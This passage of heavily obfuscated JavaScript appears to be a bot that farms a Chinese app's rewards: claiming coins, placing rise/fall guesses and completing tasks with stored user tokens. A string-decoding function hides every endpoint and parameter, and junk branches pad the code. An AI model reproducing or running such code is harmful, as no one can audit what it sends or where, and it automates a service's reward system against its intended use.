_0x2e6bb9=_0x21c5c1[_0x2271('‫1c5')](populateUrlObject,_0x150340,this[_0x2271('‫47')],_0xf76ff1);await _0x21c5c1[_0x2271('‮1c6')](httpRequest,_0x21c5c1[_0x2271('‫1c7')],_0x2e6bb9);let _0x45867e=httpResult;if(!_0x45867e)return;if(_0x21c5c1[_0x2271('‫1c8')](_0x45867e[_0x2271('‮8f')],0x0)){console[_0x2271('‫4f')](_0x2271('‫1c9')+_0x45867e[_0x2271('‮1ca')]+'金币');}else{console[_0x2271('‫4f')](_0x2271('‮1cb')+_0x45867e[_0x2271('‮ba')]);}}else{this[_0x2271('‮3e')][_0x2271('‫32')][share_type]=result[_0x2271('‮1a5')];console[_0x2271('‫4f')](_0x2271('‮1a8')+share_type+_0x2271('‫1a7')+result[_0x2271('‮1a5')]);}}catch(_0x19a0bb){console[_0x2271('‫4f')](_0x19a0bb);}finally{}}async[_0x2271('‫174')](_0x2ba312){var _0x570169={'JhVnx':function(_0xb43bc8,_0x3cc6c7,_0x1b661a,_0x554cb5){return _0xb43bc8(_0x3cc6c7,_0x1b661a,_0x554cb5);},'yMWTw':function(_0xbe7041,_0x582fd4,_0x4ab16e){return _0xbe7041(_0x582fd4,_0x4ab16e);},'ugPbg':_0x2271('‫82'),'vqtSu':function(_0x2d8539,_0x357628){return _0x2d8539==_0x357628;},'gNzZq':function(_0x1b6b2b,_0x5d0c50){return _0x1b6b2b===_0x5d0c50;},'GraQv':_0x2271('‮1cc'),'HByFV':function(_0x551c33,_0x51699f){return _0x551c33>_0x51699f;}};try{let _0x50b78d=_0x2271('‫1cd')+_0x2ba312+_0x2271('‮1ce')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')];let _0x9067bc='';let _0x3b0495=_0x570169[_0x2271('‮1cf')](populateUrlObject,_0x50b78d,this[_0x2271('‫47')],_0x9067bc);await _0x570169[_0x2271('‮1d0')](httpRequest,_0x570169[_0x2271('‮1d1')],_0x3b0495);let _0x4f5c6f=httpResult;if(!_0x4f5c6f)return;if(_0x570169[_0x2271('‮1d2')](_0x4f5c6f[_0x2271('‮8f')],0x0)){if(_0x570169[_0x2271('‫1d3')](_0x570169[_0x2271('‫1d4')],_0x570169[_0x2271('‫1d4')])){if(_0x4f5c6f[_0x2271('‫1d5')]&&_0x570169[_0x2271('‫1d6')](_0x4f5c6f[_0x2271('‫1d5')][_0x2271('‫55')],0x0)){for(let _0x2d3f5c of _0x4f5c6f[_0x2271('‫1d5')]){console[_0x2271('‫4f')](_0x2271('‫1d7')+_0x2d3f5c[_0x2271('‮1d8')]+_0x2271('‮1d9')+_0x2d3f5c[_0x2271('‫53')]);}}console[_0x2271('‫4f')](_0x2271('‫1da')+_0x4f5c6f[_0x2271('‫1db')]);}else{console[_0x2271('‫4f')](e);}}else{console[_0x2271('‫4f')](_0x2271('‫1dc')+_0x4f5c6f[_0x2271('‮ba')]);}}catch(_0x3f4d85){console[_0x2271('‫4f')](_0x3f4d85);}finally{}}async[_0x2271('‮18f')](_0x42dc97,_0x5f49d7){var _0x1a7bcc={'oFjJj':function(_0x567ad9,_0x1ae502,_0x4d6c37,_0xdbb453){return _0x567ad9(_0x1ae502,_0x4d6c37,_0xdbb453);},'EBYDQ':function(_0x456c07,_0x592ea4,_0xf8166a){return _0x456c07(_0x592ea4,_0xf8166a);},'IUgmB':_0x2271('‫82'),'KHMHd':function(_0x137d9f,_0x4b27ae){return _0x137d9f==_0x4b27ae;},'WXDzU':function(_0x18c36c,_0x7a00e9){return _0x18c36c-_0x7a00e9;},'BsYPI':function(_0x5aa5ec,_0x8339f2){return _0x5aa5ec*_0x8339f2;},'nuZqr':function(_0x5c6ca6,_0x54e3b0){return _0x5c6ca6/_0x54e3b0;},'VscEw':function(_0x4b57df,_0x518c0d){return _0x4b57df<_0x518c0d;},'jZhPt':function(_0x427dd5,_0x4423a1){return _0x427dd5*_0x4423a1;},'WEGUO':function(_0x518eb6,_0x1667b2){return _0x518eb6/_0x1667b2;},'jVEfJ':function(_0x41cf9e,_0x453eb3){return _0x41cf9e!==_0x453eb3;},'MrQYT':_0x2271('‮1dd')};try{let _0x18dca7=_0x2271('‮1de')+_0x42dc97+_0x2271('‫1df')+_0x5f49d7+_0x2271('‫1e0')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')];let _0x134a15='';let _0xfa5f01=_0x1a7bcc[_0x2271('‫1e1')](populateUrlObject,_0x18dca7,this[_0x2271('‫47')],_0x134a15);await _0x1a7bcc[_0x2271('‫1e2')](httpRequest,_0x1a7bcc[_0x2271('‮1e3')],_0xfa5f01);let _0x2969da=httpResult;if(!_0x2969da)return;if(_0x2969da[_0x2271('‫a3')]){_0x2969da=JSON[_0x2271('‮103')](_0x2969da[_0x2271('‫a3')][_0x2271('‫104')](/\\x/g,''));}if(_0x1a7bcc[_0x2271('‮1e4')](_0x2969da[_0x2271('‮8f')],0x0)){let _0x5a574f=_0x2969da[_0x2271('‫1e5')][_0x2271('‫1e6')]||'';if(_0x5a574f){let _0x1f9214=_0x2969da[_0x2271('‫192')][_0x2271('‮193')]||0x0;let _0x4bf48e=_0x2969da[_0x2271('‫192')][_0x2271('‮194')]||0x0;let _0x12b249=_0x1a7bcc[_0x2271('‮1e7')](_0x1f9214,_0x4bf48e);let _0xd9d708=_0x1a7bcc[_0x2271('‫1e8')](_0x1a7bcc[_0x2271('‮1e9')](_0x12b249,_0x4bf48e),0x64);let _0x21fa62=_0x1a7bcc[_0x2271('‫1ea')](_0x12b249,0x0)?'跌':'涨';this[_0x2271('‮191')]=_0x1a7bcc[_0x2271('‫1ea')](_0x12b249,0x0)?0x2:0x1;console[_0x2271('‫4f')](_0x5a574f+_0x2271('‫198')+_0x1f9214+_0x2271('‫199')+_0x4bf48e+_0x2271('‮19a')+_0x1a7bcc[_0x2271('‮1e9')](Math[_0x2271('‮19c')](_0x1a7bcc[_0x2271('‫1eb')](_0xd9d708,0x64)),0x64)+_0x2271('‮19d')+_0x1a7bcc[_0x2271('‫1ec')](Math[_0x2271('‮19c')](_0x1a7bcc[_0x2271('‫1eb')](_0x12b249,0x64)),0x64)+_0x2271('‫19f')+_0x21fa62);}}else{if(_0x1a7bcc[_0x2271('‫1ed')](_0x1a7bcc[_0x2271('‫1ee')],_0x1a7bcc[_0x2271('‫1ee')])){console[_0x2271('‫4f')](_0x2271('‮1ef')+_0x2969da[_0x2271('‮ba')]);}else{console[_0x2271('‫4f')](_0x2271('‮1f0')+_0x2969da[_0x2271('‮ba')]);}}}catch(_0x1677fc){console[_0x2271('‫4f')](_0x1677fc);}finally{}}async[_0x2271('‫190')](_0x2d1714){var _0x321af5={'CAnMf':function(_0x5d50e4,_0x55c28b){return _0x5d50e4>_0x55c28b;},'yCHHV':function(_0x3146e7,_0x345e16){return _0x3146e7!==_0x345e16;},'JeELb':_0x2271('‮1f1'),'gkvyV':function(_0x13b3de,_0x285e85,_0x25a586,_0x5b9dd4){return _0x13b3de(_0x285e85,_0x25a586,_0x5b9dd4);},'ujzBT':function(_0x5d5cc8,_0x1b8a68,_0x29ed74){return _0x5d5cc8(_0x1b8a68,_0x29ed74);},'EGpki':_0x2271('‫82'),'fXPIH':function(_0x187c6b,_0xf39056){return _0x187c6b==_0xf39056;}};try{if(_0x321af5[_0x2271('‫1f2')](_0x321af5[_0x2271('‮1f3')],_0x321af5[_0x2271('‮1f3')])){if(result[_0x2271('‫1d5')]&&_0x321af5[_0x2271('‫1f4')](result[_0x2271('‫1d5')][_0x2271('‫55')],0x0)){for(let _0x4e1098 of result[_0x2271('‫1d5')]){console[_0x2271('‫4f')](_0x2271('‫1d7')+_0x4e1098[_0x2271('‮1d8')]+_0x2271('‮1d9')+_0x4e1098[_0x2271('‫53')]);}}console[_0x2271('‫4f')](_0x2271('‫1da')+result[_0x2271('‫1db')]);}else{let _0xec5533=_0x2271('‫1f5')+_0x2d1714+_0x2271('‮113')+todayDate+_0x2271('‮1ce')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')];let _0x52b2e1='';let _0xd2eeca=_0x321af5[_0x2271('‮1f6')](populateUrlObject,_0xec5533,this[_0x2271('‫47')],_0x52b2e1);await _0x321af5[_0x2271('‮1f7')](httpRequest,_0x321af5[_0x2271('‮1f8')],_0xd2eeca);let _0x16d8c9=httpResult;if(!_0x16d8c9)return;let _0x2b03f8=_0x321af5[_0x2271('‫1f9')](_0x2d1714,0x1)?'猜涨':'猜跌';if(_0x321af5[_0x2271('‫1f9')](_0x16d8c9[_0x2271('‮8f')],0x0)){console[_0x2271('‫4f')](_0x2271('‫1fa')+_0x2b03f8+'成功');}else{console[_0x2271('‫4f')](_0x2271('‫1fa')+_0x2b03f8+_0x2271('‫171')+_0x16d8c9[_0x2271('‮ba')]);}}}catch(_0x528b2a){console[_0x2271('‫4f')](_0x528b2a);}finally{}}async[_0x2271('‮1fb')](_0x1de66d,_0x56507d){var _0x7feae0={'FLPdx':function(_0xe85d14,_0x26c0de){return _0xe85d14!==_0x26c0de;},'kdstf':_0x2271('‫1fc'),'fvLok':_0x2271('‮1fd'),'VfUKA':function(_0x14164d,_0x47ece6,_0x544313,_0x3f692d){return _0x14164d(_0x47ece6,_0x544313,_0x3f692d);},'xWjLX':function(_0x41e0b4,_0x470de7,_0x4dde6f){return _0x41e0b4(_0x470de7,_0x4dde6f);},'iIecb':_0x2271('‫62'),'uuNZS':function(_0x71d24d,_0xab1b25){return _0x71d24d==_0xab1b25;},'iRBgm':function(_0x17af4f,_0x50b111){return _0x17af4f==_0x50b111;},'osNul':function(_0x39b098,_0x55e508){return _0x39b098===_0x55e508;},'wQEbB':_0x2271('‮1fe')};try{if(_0x7feae0[_0x2271('‫1ff')](_0x7feae0[_0x2271('‫200')],_0x7feae0[_0x2271('‫201')])){let _0x4e1962=_0x2271('‮202')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‫203');let _0x26c8e7=_0x2271('‮204')+_0x1de66d[_0x2271('‫205')]+_0x2271('‮113')+todayDate+_0x2271('‮206')+_0x56507d+_0x2271('‮69')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‫203');let _0x55b5b6=_0x7feae0[_0x2271('‮207')](populateUrlObject,_0x4e1962,this[_0x2271('‫47')],_0x26c8e7);await _0x7feae0[_0x2271('‫208')](httpRequest,_0x7feae0[_0x2271('‮209')],_0x55b5b6);let _0x2bcdac=httpResult;if(!_0x2bcdac)return;let _0x5999cd=_0x7feae0[_0x2271('‮20a')](_0x56507d,0x1)?'猜涨':'猜跌';if(_0x7feae0[_0x2271('‫20b')](_0x2bcdac[_0x2271('‮8f')],0x0)){console[_0x2271('‫4f')](_0x2271('‫170')+_0x5999cd+'成功');}else{console[_0x2271('‫4f')](_0x2271('‫170')+_0x5999cd+_0x2271('‫171')+_0x2bcdac[_0x2271('‮ba')]);}}else{console[_0x2271('‫4f')](e);}}catch(_0x97b6de){if(_0x7feae0[_0x2271('‫20c')](_0x7feae0[_0x2271('‫20d')],_0x7feae0[_0x2271('‫20d')])){console[_0x2271('‫4f')](_0x97b6de);}else{console[_0x2271('‫4f')](_0x97b6de);}}finally{}}async[_0x2271('‫1b0')](_0x5a6082){var _0x1741ed={'WZgym':function(_0x4a3928,_0x3f720c,_0x2a2eaf,_0x258f23){return _0x4a3928(_0x3f720c,_0x2a2eaf,_0x258f23);},'SzjdG':function(_0x1b704e,_0x7149e4,_0x5d892a){return _0x1b704e(_0x7149e4,_0x5d892a);},'zMcmc':_0x2271('‫82'),'ZmssO':function(_0x4965ef,_0x53fffb){return _0x4965ef==_0x53fffb;},'rsAPF':function(_0x2470bf,_0x1fafdb){return _0x2470bf>_0x1fafdb;},'bwLWT':function(_0x79701d,_0x28637f){return _0x79701d>_0x28637f;},'mfsXc':function(_0x97ad46,_0x51c5ca){return _0x97ad46<_0x51c5ca;},'ZpKlR':function(_0x57b5ad,_0x5b85d1){return _0x57b5ad===_0x5b85d1;},'FwsTu':_0x2271('‫20e'),'gskqu':_0x2271('‫20f'),'kKpIq':_0x2271('‫210')};try{let _0x599fe2=_0x2271('‫211')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮212')+_0x5a6082[_0x2271('‫205')]+_0x2271('‫213');let _0x4232eb='';let _0x282a3f=_0x1741ed[_0x2271('‮214')](populateUrlObject,_0x599fe2,this[_0x2271('‫47')],_0x4232eb);await _0x1741ed[_0x2271('‫215')](httpRequest,_0x1741ed[_0x2271('‫216')],_0x282a3f);let _0x39f881=httpResult;if(!_0x39f881)return;if(_0x1741ed[_0x2271('‫217')](_0x39f881[_0x2271('‮8f')],0x0)){console[_0x2271('‫4f')](_0x2271('‫218')+_0x39f881[_0x2271('‫219')]);if(_0x1741ed[_0x2271('‮21a')](_0x39f881[_0x2271('‫219')],0x0)){if(_0x1741ed[_0x2271('‮21b')](_0x39f881[_0x2271('‮178')][_0x2271('‫17a')],0x0)){console[_0x2271('‫4f')](_0x2271('‫21c')+_0x5a6082[_0x2271('‫21d')]);}else{let _0x106b02=_0x1741ed[_0x2271('‫21e')](_0x5a6082[_0x2271('‮14d')],0x0)?'跌':'涨';let _0x3a8cd5=_0x1741ed[_0x2271('‫21e')](_0x5a6082[_0x2271('‮14d')],0x0)?0x2:0x1;console[_0x2271('‫4f')](_0x5a6082[_0x2271('‫21d')]+_0x2271('‫21f')+_0x5a6082[_0x2271('‮14d')]+_0x2271('‮220')+_0x106b02);await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‮1fb')](_0x5a6082,_0x3a8cd5);}}else{if(_0x1741ed[_0x2271('‮221')](_0x1741ed[_0x2271('‫222')],_0x1741ed[_0x2271('‫223')])){retStr+=padding;}else{console[_0x2271('‫4f')](_0x2271('‫224'));this[_0x2271('‮1ab')]=![];}}}else{if(_0x1741ed[_0x2271('‮221')](_0x1741ed[_0x2271('‫225')],_0x1741ed[_0x2271('‫225')])){console[_0x2271('‫4f')](_0x2271('‮226')+_0x39f881[_0x2271('‮ba')]);this[_0x2271('‮1ab')]=![];}else{console[_0x2271('‫4f')](_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮b9')+_0x39f881[_0x2271('‮ba')]);}}}catch(_0x1f73e3){console[_0x2271('‫4f')](_0x1f73e3);}finally{}}async[_0x2271('‫227')](_0x3fe38a){var _0x45a6f2={'uuaGU':function(_0x4a3e50,_0x370fe2){return _0x4a3e50==_0x370fe2;},'kwwmb':_0x2271('‮14c'),'jxzZJ':function(_0x3093e9,_0x3100cc){return _0x3093e9>_0x3100cc;},'gzQLv':function(_0x2137ba,_0xfe3148,_0x5bd790,_0x278af6){return _0x2137ba(_0xfe3148,_0x5bd790,_0x278af6);},'RLiei':function(_0x702b80,_0x48ebcb,_0x4aa85d){return _0x702b80(_0x48ebcb,_0x4aa85d);},'hAdia':_0x2271('‫82'),'lrgMb':function(_0x574d87,_0x5346f1){return _0x574d87==_0x5346f1;},'hjcPf':function(_0x37c09b,_0x5d821c){return _0x37c09b!==_0x5d821c;},'atUca':_0x2271('‮228'),'MrZPU':_0x2271('‮229'),'iZikz':function(_0x4b737c,_0x5cd147){return _0x4b737c>_0x5cd147;},'Mqqnx':function(_0x3fdce6,_0x249d7f){return _0x3fdce6===_0x249d7f;},'zSfdM':_0x2271('‮22a')};try{let _0x1d52e5=_0x2271('‮22b')+_0x3fe38a[_0x2271('‫22c')]+_0x2271('‫22d')+_0x3fe38a[_0x2271('‮22e')]+_0x2271('‫22f')+_0x3fe38a[_0x2271('‮51')]+_0x2271('‫230')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x32549c='';let _0x319d88=_0x45a6f2[_0x2271('‫231')](populateUrlObject,_0x1d52e5,this[_0x2271('‫47')],_0x32549c);await _0x45a6f2[_0x2271('‮232')](httpRequest,_0x45a6f2[_0x2271('‫233')],_0x319d88);let _0x409361=httpResult;if(!_0x409361)return;if(_0x45a6f2[_0x2271('‫234')](_0x409361[_0x2271('‮8f')],0x0)){if(_0x45a6f2[_0x2271('‫235')](_0x45a6f2[_0x2271('‫236')],_0x45a6f2[_0x2271('‮237')])){if(_0x409361[_0x2271('‮121')]&&_0x45a6f2[_0x2271('‫238')](_0x409361[_0x2271('‮121')][_0x2271('‫55')],0x0)){console[_0x2271('‫4f')]('['+_0x3fe38a[_0x2271('‮51')]+']有'+_0x409361[_0x2271('‮121')][_0x2271('‫55')]+_0x2271('‮239'));test_taskList[_0x2271('‮4e')](_0x3fe38a[_0x2271('‮51')]);}}else{if(_0x45a6f2[_0x2271('‫23a')](type,_0x45a6f2[_0x2271('‮23b')])){this[_0x2271('‮3e')][_0x2271('‮14c')][share_type]=_0x409361[_0x2271('‮1a5')];console[_0x2271('‫4f')](_0x2271('‮1a6')+share_type+_0x2271('‫1a7')+_0x409361[_0x2271('‮1a5')]);}else{this[_0x2271('‮3e')][_0x2271('‫32')][share_type]=_0x409361[_0x2271('‮1a5')];console[_0x2271('‫4f')](_0x2271('‮1a8')+share_type+_0x2271('‫1a7')+_0x409361[_0x2271('‮1a5')]);}}}else{}}catch(_0x2f344b){if(_0x45a6f2[_0x2271('‮23c')](_0x45a6f2[_0x2271('‫23d')],_0x45a6f2[_0x2271('‫23d')])){console[_0x2271('‫4f')](_0x2f344b);}else{if(result[_0x2271('‮121')]&&_0x45a6f2[_0x2271('‫23e')](result[_0x2271('‮121')][_0x2271('‫55')],0x0)){console[_0x2271('‫4f')]('['+_0x3fe38a[_0x2271('‮51')]+']有'+result[_0x2271('‮121')][_0x2271('‫55')]+_0x2271('‮239'));test_taskList[_0x2271('‮4e')](_0x3fe38a[_0x2271('‮51')]);}}}finally{}}async[_0x2271('‮23f')](_0x321035,_0x25c1b5){var _0xe5a1ee={'PAlgz':function(_0x161957,_0x13fe14,_0x43227e,_0x18dd2f){return _0x161957(_0x13fe14,_0x43227e,_0x18dd2f);},'YuAeP':function(_0x479457,_0x53fd2b,_0x51b1f1){return _0x479457(_0x53fd2b,_0x51b1f1);},'EPsBG':_0x2271('‫82'),'zAkFE':function(_0x3c33db,_0x7258){return _0x3c33db==_0x7258;},'YmHVV':function(_0x43f578,_0x16f015){return _0x43f578!==_0x16f015;},'jeSOE':_0x2271('‮240'),'iQpyM':_0x2271('‮241')};try{let _0x48557f=_0x2271('‫242')+_0x321035+_0x2271('‮114')+_0x25c1b5+_0x2271('‮69')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x17d0ef='';let _0x3f863d=_0xe5a1ee[_0x2271('‫243')](populateUrlObject,_0x48557f,this[_0x2271('‫47')],_0x17d0ef);await _0xe5a1ee[_0x2271('‫244')](httpRequest,_0xe5a1ee[_0x2271('‫245')],_0x3f863d);let _0x31c2db=httpResult;if(!_0x31c2db)return;if(_0xe5a1ee[_0x2271('‮246')](_0x31c2db[_0x2271('‮8f')],0x0)){if(_0xe5a1ee[_0x2271('‮247')](_0xe5a1ee[_0x2271('‫248')],_0xe5a1ee[_0x2271('‫248')])){console[_0x2271('‫4f')]('['+taskItem[_0x2271('‮51')]+']有'+_0x31c2db[_0x2271('‮121')][_0x2271('‫55')]+_0x2271('‮239'));test_taskList[_0x2271('‮4e')](taskItem[_0x2271('‮51')]);}else{console[_0x2271('‫4f')](_0x2271('‮249')+_0x321035+_0x2271('‮24a')+_0x31c2db[_0x2271('‫53')]);}}else{console[_0x2271('‫4f')](_0x2271('‫1bc')+_0x321035+_0x2271('‮1bd')+_0x31c2db[_0x2271('‮ba')]);}}catch(_0x313a02){if(_0xe5a1ee[_0x2271('‮247')](_0xe5a1ee[_0x2271('‮24b')],_0xe5a1ee[_0x2271('‮24b')])){console[_0x2271('‫4f')](_0x2271('‮24c')+taskItem[_0x2271('‮51')]+'-'+id+'-'+tid+_0x2271('‫24d')+result[_0x2271('‮ba')]);}else{console[_0x2271('‫4f')](_0x313a02);}}finally{}}async[_0x2271('‮24e')](_0x591bc7){var _0x47fe93={'nPKSH':_0x2271('‫37'),'jLDie':function(_0x566925,_0x47d7b4){return _0x566925(_0x47d7b4);},'doRAX':function(_0x463b1e,_0x560c38,_0xe0b4fe,_0x2ae9f5){return _0x463b1e(_0x560c38,_0xe0b4fe,_0x2ae9f5);},'Esxgp':function(_0x4c06bb,_0x47828f,_0x3a29df){return _0x4c06bb(_0x47828f,_0x3a29df);},'RWUfD':_0x2271('‫82'),'BbuYf':function(_0xaf30d9,_0x5b12cf){return _0xaf30d9==_0x5b12cf;},'dnMUr':function(_0x166dee,_0x3b861d){return _0x166dee!==_0x3b861d;},'XFELw':_0x2271('‫24f'),'wRzoR':_0x2271('‮250'),'fbncj':function(_0x29e951,_0x23a16a){return _0x29e951>_0x23a16a;},'nbgmf':function(_0x4ab0f8,_0x14c037){return _0x4ab0f8!==_0x14c037;},'zTWaV':_0x2271('‮251'),'gcHHO':_0x2271('‫252'),'HFPDV':function(_0x5c1875,_0x434a97){return _0x5c1875>_0x434a97;},'pgQKi':function(_0x3848a3,_0x9296dc){return _0x3848a3>_0x9296dc;},'YviGw':function(_0x5d02c7,_0x59906a){return _0x5d02c7===_0x59906a;},'rTXzP':_0x2271('‮253'),'ERZJP':_0x2271('‫254'),'LOxca':function(_0x47854c,_0x4a78c5){return _0x47854c!==_0x4a78c5;},'TliPn':_0x2271('‫255'),'BoxEN':_0x2271('‮256')};try{let _0x680e1d=_0x2271('‮22b')+_0x591bc7[_0x2271('‫22c')]+_0x2271('‫22d')+_0x591bc7[_0x2271('‮22e')]+_0x2271('‫22f')+_0x591bc7[_0x2271('‮51')]+_0x2271('‫230')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x27aa13='';let _0x31a3d6=_0x47fe93[_0x2271('‫257')](populateUrlObject,_0x680e1d,this[_0x2271('‫47')],_0x27aa13);await _0x47fe93[_0x2271('‫258')](httpRequest,_0x47fe93[_0x2271('‮259')],_0x31a3d6);let _0xbf5136=httpResult;if(!_0xbf5136)return;if(_0x47fe93[_0x2271('‫25a')](_0xbf5136[_0x2271('‮8f')],0x0)){if(_0xbf5136[_0x2271('‫119')]){if(_0x47fe93[_0x2271('‮25b')](_0x47fe93[_0x2271('‫25c')],_0x47fe93[_0x2271('‫25d')])){console[_0x2271('‫4f')]('获取'+_0x591bc7[_0x2271('‮50')]+'['+_0x591bc7[_0x2271('‮51')]+_0x2271('‮bb')+_0xbf5136[_0x2271('‫bc')]);}else{notiStr+=_0x47fe93[_0x2271('‫25e')];this[_0x2271('‮3b')]=![];}}else{if(_0xbf5136[_0x2271('‮121')]&&_0x47fe93[_0x2271('‫25f')](_0xbf5136[_0x2271('‮121')][_0x2271('‫55')],0x0)){for(let _0x299c5a of _0xbf5136[_0x2271('‮121')]){if(_0x47fe93[_0x2271('‮260')](_0x47fe93[_0x2271('‮261')],_0x47fe93[_0x2271('‮262')])){if(_0x299c5a[_0x2271('‫133')]){await this[_0x2271('‮23f')](_0x591bc7[_0x2271('‮51')],_0x299c5a[_0x2271('‫133')]);continue;}if(_0x47fe93[_0x2271('‮263')](_0x299c5a[_0x2271('‮264')],0x0)){continue;}if(_0x299c5a[_0x2271('‮125')]&&_0x47fe93[_0x2271('‫265')](_0x299c5a[_0x2271('‮125')][_0x2271('‫55')],0x0)){if(_0x47fe93[_0x2271('‮266')](_0x47fe93[_0x2271('‮267')],_0x47fe93[_0x2271('‫268')])){console[_0x2271('‫4f')](e);}else{for(let _0x22f23f of _0x299c5a[_0x2271('‮125')]){await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‮269')](_0x591bc7,_0x22f23f['id'],_0x22f23f[_0x2271('‮26a')]);}}}}else{u=a=0x40;}}}}}else{if(_0x47fe93[_0x2271('‫26b')](_0x47fe93[_0x2271('‮26c')],_0x47fe93[_0x2271('‮26d')])){console[_0x2271('‫4f')]('获取'+_0x591bc7[_0x2271('‮50')]+'['+_0x591bc7[_0x2271('‮51')]+_0x2271('‮bb')+_0xbf5136[_0x2271('‮ba')]);}else{ret[kv[0x0]]=_0x47fe93[_0x2271('‫26e')](decodeURIComponent,kv[0x1]);}}}catch(_0x2aaa1f){console[_0x2271('‫4f')](_0x2aaa1f);}finally{}}async[_0x2271('‮269')](_0x3743f6,_0x13d285,_0x13c52a){var _0x4233a2={'HTzhr':function(_0x162d05,_0x3422f7){return _0x162d05-_0x3422f7;},'phacQ':function(_0x57c77f,_0x28b114){return _0x57c77f*_0x28b114;},'QxFjt':function(_0x4475b9,_0x5b93d5){return _0x4475b9/_0x5b93d5;},'wNqJO':function(_0x48ddcb,_0x264839){return _0x48ddcb<_0x264839;},'veUAf':function(_0x4ceb42,_0x11d4ec){return _0x4ceb42/_0x11d4ec;},'pTksM':function(_0x33e00b,_0x3331b9){return _0x33e00b/_0x3331b9;},'ITaEL':function(_0xc18274,_0x385e08){return _0xc18274*_0x385e08;},'oMqym':_0x2271('‫26f'),'MSsba':function(_0x21e7cd,_0xb5c421,_0x183642,_0x129dd8){return _0x21e7cd(_0xb5c421,_0x183642,_0x129dd8);},'erEMk':function(_0x440976,_0xddfc18,_0x3b0c0f){return _0x440976(_0xddfc18,_0x3b0c0f);},'bMprv':_0x2271('‫82'),'iyrAh':function(_0x53a40e,_0x54076b){return _0x53a40e==_0x54076b;},'OBtrv':function(_0x5b3049,_0x43ece2){return _0x5b3049===_0x43ece2;},'caxSr':_0x2271('‮270'),'xIqjn':_0x2271('‮271'),'BtDfs':function(_0x324921,_0x32ae6d){return _0x324921===_0x32ae6d;},'JfwKW':_0x2271('‮272')};try{let _0x40028c=_0x2271('‮273')+_0x13d285+_0x2271('‮274')+_0x13c52a+_0x2271('‫22f')+_0x3743f6[_0x2271('‮51')]+_0x2271('‮275')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')];let _0x2c17ce='';let _0x198f8c=_0x4233a2[_0x2271('‮276')](populateUrlObject,_0x40028c,this[_0x2271('‫47')],_0x2c17ce);await _0x4233a2[_0x2271('‫277')](httpRequest,_0x4233a2[_0x2271('‫278')],_0x198f8c);let _0x24530c=httpResult;if(!_0x24530c)return;if(_0x4233a2[_0x2271('‮279')](_0x24530c[_0x2271('‮8f')],0x0)){if(_0x4233a2[_0x2271('‫27a')](_0x4233a2[_0x2271('‮27b')],_0x4233a2[_0x2271('‮27c')])){let _0x527fe7=_0x24530c[_0x2271('‫1e5')][_0x2271('‫1e6')]||'';if(_0x527fe7){let _0x1ea81f=_0x24530c[_0x2271('‫192')][_0x2271('‮193')]||0x0;let _0x263151=_0x24530c[_0x2271('‫192')][_0x2271('‮194')]||0x0;let _0x1e8c73=_0x4233a2[_0x2271('‮27d')](_0x1ea81f,_0x263151);let _0x19ecbb=_0x4233a2[_0x2271('‫27e')](_0x4233a2[_0x2271('‮27f')](_0x1e8c73,_0x263151),0x64);let _0xcedfa=_0x4233a2[_0x2271('‮280')](_0x1e8c73,0x0)?'跌':'涨';this[_0x2271('‮191')]=_0x4233a2[_0x2271('‮280')](_0x1e8c73,0x0)?0x2:0x1;console[_0x2271('‫4f')](_0x527fe7+_0x2271('‫198')+_0x1ea81f+_0x2271('‫199')+_0x263151+_0x2271('‮19a')+_0x4233a2[_0x2271('‮281')](Math[_0x2271('‮19c')](_0x4233a2[_0x2271('‫27e')](_0x19ecbb,0x64)),0x64)+_0x2271('‮19d')+_0x4233a2[_0x2271('‫282')](Math[_0x2271('‮19c')](_0x4233a2[_0x2271('‮283')](_0x1e8c73,0x64)),0x64)+_0x2271('‫19f')+_0xcedfa);}}else{if(_0x4233a2[_0x2271('‮279')](_0x24530c[_0x2271('‫284')],0x0)){await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‮285')](_0x3743f6,_0x13d285,_0x13c52a);}else{if(_0x4233a2[_0x2271('‫286')](_0x4233a2[_0x2271('‮287')],_0x4233a2[_0x2271('‮287')])){console[_0x2271('‫4f')](_0x3743f6[_0x2271('‮50')]+'['+_0x3743f6[_0x2271('‮51')]+'-'+_0x13d285+'-'+_0x13c52a+_0x2271('‮5e'));}else{console[_0x2271('‫4f')](_0x4233a2[_0x2271('‫288')]);return;}}}}else{console[_0x2271('‫4f')](_0x2271('‮24c')+_0x3743f6[_0x2271('‮51')]+'-'+_0x13d285+'-'+_0x13c52a+_0x2271('‫24d')+_0x24530c[_0x2271('‮ba')]);}}catch(_0x275b73){console[_0x2271('‫4f')](_0x275b73);}finally{}}async[_0x2271('‮285')](_0x12ad22,_0x36d906,_0x1440da){var _0x410f3e={'noDMQ':function(_0x3e1f79,_0x3770e9,_0x119783,_0x18547a){return _0x3e1f79(_0x3770e9,_0x119783,_0x18547a);},'HfxOA':function(_0x1128c8,_0x3727bd,_0x413b9a){return _0x1128c8(_0x3727bd,_0x413b9a);},'ePdyg':_0x2271('‫82'),'CYDlY':function(_0x19587e,_0x5e1049){return _0x19587e==_0x5e1049;},'bASPi':function(_0x33844a,_0x4375b9){return _0x33844a!==_0x4375b9;},'NfdcF':_0x2271('‮289')};try{let _0x477d86=_0x2271('‫28a')+_0x12ad22[_0x2271('‮51')]+_0x2271('‮69')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x20d100='';let _0x466e3a=_0x410f3e[_0x2271('‮28b')](populateUrlObject,_0x477d86,this[_0x2271('‫47')],_0x20d100);await _0x410f3e[_0x2271('‮28c')](httpRequest,_0x410f3e[_0x2271('‮28d')],_0x466e3a);let 